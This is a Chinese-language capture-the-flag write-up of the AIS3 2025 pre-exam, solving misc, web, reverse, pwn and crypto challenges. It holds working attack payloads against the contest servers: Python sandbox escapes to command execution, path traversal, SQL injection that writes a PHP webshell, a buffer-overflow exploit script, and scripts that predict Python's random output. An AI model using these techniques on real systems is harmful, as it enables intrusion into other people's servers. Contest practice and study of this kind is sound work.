[筆記] AIS3 2025 Pre-exam WriteUp
[TOC]
## 成績

看[完整 Profile](https://img.stoneapp.tech/t510599/ais3-2025/pre-exam/Profile.jpeg)
很長的 [ScoreBoard](https://img.stoneapp.tech/t510599/ais3-2025/pre-exam/Scoreboard.jpeg)
## 前言

這學期修了林宗男的網路攻防實習 然後期末考外包給 AIS3 Pre-exam 所以又回來打了
不過我太菜了 不像以前的修課大大各各都破台 🤡
題外話 有同學不是本國籍的 今年不給報名 pre-exam 直接沒期末成績 QQ
## misc
### Welcome

東西在 `::before` 裡面 還是手打比較快
Flag: `AIS3{Welcome_And_Enjoy_The_CTF_!}`
### Ramen CTF
雖然拉麵被擋住了 但是有露出發票

可以看到賣方統編為 `3478592?` 以及該公司是 `平和xxx公司`
根據關鍵字可以查到是: 平和溫泉拉麵店 統編 34785923 宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號
Google Map 上叫做[樂山溫泉拉麵](https://maps.app.goo.gl/NbP3XRzfS6D8TUhH7)
左邊 QRCode 掃出來是 `MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉`
參考 Google Map 上的菜單 可以猜測品項是 `蝦拉麵`
Flag: `AIS3{樂山溫泉拉麵:蝦拉麵}`
### AIS3 Tiny Server - Web / Misc
土炮 LFI 用 `curl --path-as-is` 送 `../`

Flag: `AIS3{tInY_we8_5eRVER_wi7H_fIle_8rOWs1ng_45_@_Fe4turE}`
### nocall 🈲📞
```python
#!/usr/local/bin/python3
import unicodedata
print(open(__file__).read())
expr = unicodedata.normalize("NFKC", input("> "))
if "._" in expr:
raise NameError("no __ %r" % expr)
if "breakpoint" in expr:
raise NameError("no breakpoint %r" % expr)
if any([x in "([ ])" for x in expr]):
raise NameError("no ([ ]) %r" % expr)
# baby version: response for free OUO
result = eval(expr)
print(result)
```
參考此 [Pyjail Cheatsheet](https://shirajuki.js.org/blog/pyjail-cheatsheet#running-functions-and-methods-without-parenthesis)
目標是執行 `{1 for __builtins__.print in {exec}}` 讓 `eval` 的結果回傳一個字串
並透過覆蓋最後的 `print` 成 `exec` 來 RCE
雖然 jail 中有提到禁止 `__` 但實際上擋的是 `._`
因此可以使用 `__builtins__.xxx` 來覆蓋內建函數
另外不能使用 `(` 跟 `[` 因此無法使用 list 與 tuple comprehension
但可以使用 `{` 來做 set comprehension
因為空白被禁止 無法直接寫 for 迴圈 然而可以在行尾 加上 `\` 作為 line continuation
意即 for 迴圈可以改寫為下列格式:
```python
for\
i\
in\
range(1):\
pass
```
又因為 f-string 中 `{{` 會被脫逸成 `{` 字元
所以在前後加上 `0,` 跟 `,1` 來把 `set` 的 `{` 與 f-string 的 `{` 隔開
最後 `eval` 會將 `\r` 視為 `\n` 所以把換行全部替換掉來讓 `input` 可以讀取我們的所有輸入
Payload: (replace `\n` with `\r`)
```python
f"import\x20os;os.system\x28input\x28\x29\x29#{0,{1\
for\
__builtins__.print\
in\
{exec}},1}"
```
上面的輸入會被解析成以下字串 透過 `#` 把覆蓋 builtins 的 `set` 註解掉
```python
import os;os.system(input())#...
```
Flag: `AIS3{you_can_overwrite_builtins_to_call_without_()}`
### nocall revenge 🈲📞🆙
```python
#!/usr/local/bin/python3
import unicodedata
print(open(__file__).read())
expr = unicodedata.normalize("NFKC", input("> "))
if "._" in expr:
raise NameError("no __ %r" % expr)
if any([x in "(['\"+-*/ ])" for x in expr]):
raise NameError("no (['\"+-*/ ]) %r" % expr)
# no response for you :>
eval(expr)
```
一樣參考此 [Pyjail Cheatsheet](https://shirajuki.js.org/blog/pyjail-cheatsheet#running-functions-and-methods-without-parenthesis)
修改此 payload: `[+license for license.__class__.__pos__ in [breakpoint]]`
此次多擋了 `'"+-*/` 因此無法使用 f-string 也無法使用 `+` `-` 的 unary operator
查看 [Python 文件](https://docs.python.org/3/reference/datamodel.html#object.__invert__) 可以發現還有 `~` (`__invert__`) 的 unary operator dunder method
把 `license.__class__.__invert__` 用 `breakpoint` 覆蓋掉 呼叫 `~license` 即可觸發
這邊也利用到 line continuation 把 `license.__class__` 的 `._` 分隔為 `.\n_` 即可繞過檢查
Payload: (replace `\n` with `\r`)
```python
{~license\
for\
license.\
__class__.\
__invert__\
in\
{breakpoint}}
```
Flag: `AIS3{overwrite_the_operator_dunder_method_to_call_without_()}`
### Tcp Tunnel
TCP 連上去後 會直接傳 raw IP packet bytes 過來
解碼後會發現是 ICMP ping
`src` 為此 tunnel 的 server IP 位址 `dst` 為我方的 IP 位址
先透過 `scapy` 掃 TCP port
送 `SYN` 過去 並檢查對方是否回傳 `SYN ACK` 來分辨該 port 是否開啟
```python
from pwn import *
from scapy.all import *
from scapy.layers.inet import IP, ICMP, TCP
host, port = "chals1.ais3.org", 29997
r = remote(host, port)
def recv(timeout=0.5):
v4 = r.recv(2, timeout=timeout)
assert v4 == b"\x45\x00" # IPv4
length = r.recv(2, timeout=timeout)
l = int.from_bytes(length, 'big')
remaining = r.recv(l - 4, timeout=timeout)
return v4 + length + remaining
def send(data):
r.send(data)
def tcp_connect(src, dst, sport, dport):
tcp_syn = IP(dst=dst, src=src) / TCP(sport=sport, dport=dport, flags='S')
send(raw(tcp_syn))
def parse_packet(payload) -> IP:
parsed_packet = IP(payload)
return parsed_packet
recv_packet = recv()
parsed_packet = parse_packet(recv_packet)
server_ip = parsed_packet[IP].src
client_ip = parsed_packet[IP].dst
print(f"Server IP: {server_ip}")
print(f"Client IP: {client_ip}")
for dport in range(1, 65536):
tcp_connect(client_ip, server_ip, 48763, dport)
recv_packet = recv()
parsed_packet = parse_packet(recv_packet)
if parsed_packet[IP].proto == 6:
if parsed_packet[TCP].flags == 'SA':
print(f"Found open port: {dport}")
else:
continue
```
最後因為手送 TCP 一直被 RST
所以用 ChatGPT 生個轉發到 tun 的[腳本](https://chatgpt.com/share/6836d755-3128-800a-ad0c-960d628f0611) 讓其他工具可以直接連線
`curl <server ip>:80` 即會吐出 flag

Flag: `AIS3{C0nnect_7cpTunnel_4nd_4cc3p7_w3b_serv1c3}`
## web
### Tomorin db 🐧
程式碼如下:
```golang
package main
import "net/http"
func main() {
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "...", http.StatusFound)
})
http.ListenAndServe(":30000", nil)
}
```
若想透過 `../` 等方式存取
Golang 的 http server 預設會先把使用者 redirect 到正規化完的絕對路徑 因此無法繞過
查看原始碼可以注意到以下註解: `src/net/http/server.go` [source](https://cs.opensource.google/go/go/+/master:src/net/http/server.go;l=2582-2588;drc=8cb0941a85de6ddbd6f49f8e7dc2dd3caeeee61c)
```golang=2582
// # Request sanitizing
//
// ServeMux also takes care of sanitizing the URL request path and the Host
// header, stripping the port number and redirecting any request containing . or
// .. segments or repeated slashes to an equivalent, cleaner URL.
// Escaped path elements such as "%2e" for "." and "%2f" for "/" are preserved
// and aren't considered separators for request routing.
```
如果送了 `%2fflag` 過去 `%2f` 在做 routing 時會被保留
這樣就不會 match 到 `http.HandleFunc("/flag", func(...))` 而是由 http.FileServer 處理
因此 `curl "http://chals1.ais3.org:30000/%2fflag" --path-as-is` 就可讀到 Flag
Flag: `AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}`
### Login Screen 1
先通靈弱密碼 `admin:admin`
`dashboard.php`
```php=33
// if the user is admin, show this post
if ($_SESSION['username'] == "admin") { ?>
<div class='box'>...</div>;
<div class='box'>...<?= getenv('FLAG1') ?></div></div>;
<?php }
```
`index.php`
```php=24
if ($user) {
// If user exists, login logic (verify password)
if (password_verify($password, $user['password'])) {
// Start session for the user
$_SESSION['username'] = $username;
$_SESSION['verified'] = 0; // Set verified to 0
```
此時雖然未通過 2FA 但已經有 `$_SESSION['username'] = 'admin'`
`dashboard.php`
```php=1
<?php
include("init.php");
// if not logged in, redirect to login page
if (!isset($_SESSION['username'])) {
header('Location: index.php');
} else if (!isset($_SESSION['code']) || $_SESSION['code'] != 1) {
// if not verified, redirect to 2fa page
header('Location: 2fa.php');
}
```
另外可以發現 `dashboard.php` 上面檢查完 2FA 後忘記 `die()`
所以下面的 FLAG1 實際上還是會輸出 不要使用 `-L` follow redirect 即可看到 Flag

Flag: `AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}`
### Login Screen 2
`2fa.php`
```php=10
// if not logged in, redirect to login page
if (!isset($_SESSION['username'])) {
header('Location: index.php');
die();
}
// Handle form submission (both login and registration)
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$code = $_POST['code'];
$username = $_SESSION['username'];
$result = $db->exec("SELECT * FROM users WHERE username = '$username'");
```
可以看到 L20 的 SQLi 是被 `$db->exec` 觸發 因此可以執行數個 query
這裡用的是 SQLite 可以透過 `ATTACH DATABASE` 來寫檔案
又因為 PHP 只會執行 `<?php ?>` tag 中的東西 會無視其他資料 因此可以拿來寫 webshell
FLAG2 是放在 env 中 執行 `phpinfo()` 是最簡單的方法
觀察會發現 apache2 docker 預設 `www-data` 可以寫 `/var/www/html`
所以把 webshell 直接寫在 `/var/www/html` 也方便直接存取
Payload:
- Username
- `guest'; ATTACH DATABASE '/var/www/html/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<?php phpinfo(); ?>');--
`
- Password
- `guest`
- (還是得驗證密碼 才會設 `$_SESSION['username']` 並讓 `2fa.php` 裡面的 `$db->exec` SQLi 可以被觸發)
存取 `<server>/lol.php` 即可

Flag: `AIS3{2.Nyan_Nyan_File_upload_jWvuUeUyyKU}`
## reverse
### AIS3 Tiny Server - Reverse
簡單搜尋一下 flag 相關字串 可以看到 `sub_2110` 有下列程式

他會將 `AIS3-Flag` header 的值丟給 `verify_flag` (`sub_1e20`) 做驗證
簡單觀察一下 `v8` 是一坨 bytes XOR key 是 `rikki_l0v3`

直接 XOR 解密即有 flag
Flag: `AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}`
## pwn
### Welcome to the World of Ave Mujica🌙

沒有 Canary 跟 PIE
有個 `Welcome_to_the_world_of_Ave_Mujica` (`0x401256`) 直接跳上去就有 shell
`main` 非常簡單 輸入長度並讀取該長度到 buffer (`buf[143]`)
裡面透過 `read_int8` 來讀長度
這邊會發現他只對 upper bound 做檢查
然而他是讀到一個 `int` 上 且最後回傳的是 `unsigned int`

這邊只要傳入負數即可通過檢查並被 cast 成一個很大的 int
簡單的 BOF 把 return address 蓋成 `Welcome_to_the_world_of_Ave_Mujica` 即可
```python
from pwn import *
AVE_MUJICA = 0x401256
host, port = "chals1.ais3.org", 60293
r = remote(host, port)
r.sendlineafter(b"?\n", b"yes")
r.sendlineafter(b": ", str(-1).encode()) # size, uint overflow
r.sendlineafter(b": ", b"A" * 0xA0 + p64(0x48763) + p64(AVE_MUJICA)) # BOF
r.interactive()
```

Flag: `AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._7af91ef330f5754fb994d5d3e8968b4b}`
## crypto
### Hill
整個加密是透過矩陣 $A$, $B$ 來做 算法如下
`chall.py`
```python=23
def encrypt_blocks(blocks):
C = []
for i in range(len(blocks)):
if i == 0:
c = (A @ blocks[i]) % p
else:
c = (A @ blocks[i] + B @ blocks[i-1]) % p
C.append(c)
return C
```
這邊可以注意到除了第一個 row 以外 每個 row 會跟 $A$ 做乘法 再加上上一個 row 跟 $B$ 做乘法 最後 mod p
另外程式提供了一個 encrypt oracle 我們可以造一個 input 來 leak $A$, $B$
要 leak $A$, $B$ 的一個 column 需要四個 row 做為一組 input
$$
\begin{bmatrix}
0 & 0 & 0 & 0 & 0 & 0 & 0 & 1 \\\\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 \\\\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 \\\\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 \\\\
\end{bmatrix}
$$
這樣會 leak 出
$$
\begin{bmatrix}
A^T[7] \\\\
B^T[7] \\\\
\vec{0} \\\\
\vec{0} \\\\
\end{bmatrix}
$$
每組 input 的第一個 row 控制要 leak 哪個 column
第二個 row 設為 $\vec{0}$ 因此 $A \text{@} \text{block}[i]$ 此時也為 $\vec{0}$ 讓他只 leak 出 $B$ 的 column
最後收集起來回推出 $A$, $B$ 然後反著做即可解密
因為有 mod p 沒辦法單純直接砸 inverse
使用 `sympy.Matrix.inv_mod` 來快速找到 $A$, $B$ mod p 下的 inverse
```python
from functools import reduce
from pwn import *
import numpy as np
from sympy import Matrix
def parse_numpy_array(s):
segments = s[1:-1].split(' ')
ret = []
for s in segments:
if s: ret.append(int(s))
return ret
def gen_input():
inp = b""
for i in range(8):
l = b"\x00" * i + b"\x01" + b"\x00" * (8-i-1)
inp += l + b"\x00" * 8 * 3 # leak col by col, then add 3 zero rows
return inp
host, port = "chals1.ais3.org", 18000
r = remote(host, port)
r.recvline()
flags = []
AT = []
BT = []
for _ in range(5):
l = r.recvline().decode().strip()
flags.append(parse_numpy_array(l))
flags = np.array(flags, dtype=int)
r.sendlineafter(b"input: ", gen_input())
for _ in range(8):
AT.append(parse_numpy_array(r.recvline().decode().strip()))
BT.append(parse_numpy_array(r.recvline().decode().strip()))
for _ in range(2): # two empty lines
l = r.recvline().decode().strip()
A = np.array(AT, dtype=int).T
B = np.array(BT, dtype=int).T
print(flags)
print("A:", A)
print("B:", B)
p = 251
n = 8
def matInvMod(vmnp, mod):
vmsym = Matrix(vmnp)
vmsymInv = vmsym.inv_mod(mod)
vmnpInv = np.array(vmsymInv).astype(np.int64)
return vmnpInv
def decrypt_blocks(C, A, B):
blocks = []
A_inv = matInvMod(A, p)
for i in range(len(C)):
if i == 0:
block = (A_inv @ C[i]) % p
else:
block = (A_inv @ (C[i] - B @ blocks[i-1])) % p
blocks.append(block)
return blocks
def blocks_to_str(blocks):
data = np.array(blocks).flatten().astype(int).tolist()
s = reduce(lambda x, y: x + chr(y), data, "")
return s
C = np.array(flags)
decrypted_blocks = decrypt_blocks(C, A, B)
flag = blocks_to_str(decrypted_blocks)
print("Flag:", flag)
```
Flag: `AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}`
### Stream
`chal.py`
```python=6
def hexor(a: bytes, b: int):
return hex(int.from_bytes(a)^b**2)
for i in range(80):
print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))
print(hexor(flag, getrandbits(256)))
```
可以看到前面 80 行的輸出都是 `getrandbits(256) ** 2 ^ digest`
由於他 digest 是針對 `os.urandom(True)` 而 `True` 傳入後會被當成 `1` 因此實際上只有 256 種可能
針對每行輸出爆搜所有 digest 如果是平方數即代表可以開根號回推 `os.getrandbits(256)` 輸出
每行可以還原 256 bit 輸出 意即 8 個 32 bit 輸出 80 行最多可以還原 640 個 32bit 輸出
而 [randcrack](https://github.com/tna0y/Python-random-module-cracker) 僅需要 624 個 32bit 輸出即可預測後續 randbits 最後找到加密 flag 的 key
這邊查看 [cpython source](https://github.com/python/cpython/blob/a10b321a5807ba924c7a7833692fe5d0dc40e875/Modules/_randommodule.c#L532-L544) 可以看到當 `getrandbits` 的輸入超過 32 時
他會以 32bit 為單位從 LSB 填到 MSB
知道這件事才能正確的把 256bit 輸出拆成 8 個 32bit submit 到 randcrack
```python
from hashlib import sha512
from gmpy2 import iroot
from randcrack import RandCrack
hashes = []
table = {} # os.urandom(True) outputs 1 byte output
keys = []
with open("output.txt") as f:
data = f.read().strip().split("\n")
for line in data:
if line.strip() == "":
continue
hashes.append(int(line, 16))
for i in range(256):
digest = sha512(bytes([i])).digest()
table[bytes([i])] = digest
for h in hashes[:80]:
for _, v in table.items():
key = int.from_bytes(v, 'big') ^ h
if (r := iroot(key, 2))[1]:
keys.append(int(r[0]))
break
assert len(keys) == 80, "Not enough keys found, expected 80"
rc = RandCrack()
try:
for key in keys[:624*32//256]:
# submit 32 bits key, but key is 256 bits
for i in range(8):
rc.submit(key >> (i * 32) & 0xFFFFFFFF)
except ValueError as e:
pass
for key in keys[624*32//256:]:
predict_key = 0
for i in range(8):
predict_key = (predict_key) | rc.predict_getrandbits(32) << (32 * i)
assert key == predict_key, "Key mismatch, prediction failed"
next_key = rc.predict_getrandbits(256)
enc = hashes[-1]
flag = enc ^ next_key**2
print(flag.to_bytes((flag.bit_length() + 7) // 8, 'big').decode('utf-8'))
```
Flag: `AIS3{no_more_junks...plz}`
## 結語
比賽第一天的禮拜六晚上 跟同學跑去聽了 [ANISAMA WORLD 2025 In Taoyuan](http://www.anisamaea.com/)
超爽 RAS 現場真的好猛
這場除了乞丐站票區音場真的很爛 聲音全部糊在一起以外
歌跟氣氛都很讚 另一個站票區更嗨 打 call 部隊以外還有孔雀繞場 XD
然後 CTF 真的太捲了 捲不動了
2025-07-01 16:43:46
留言
Last fetch: --:--
現在還沒有留言!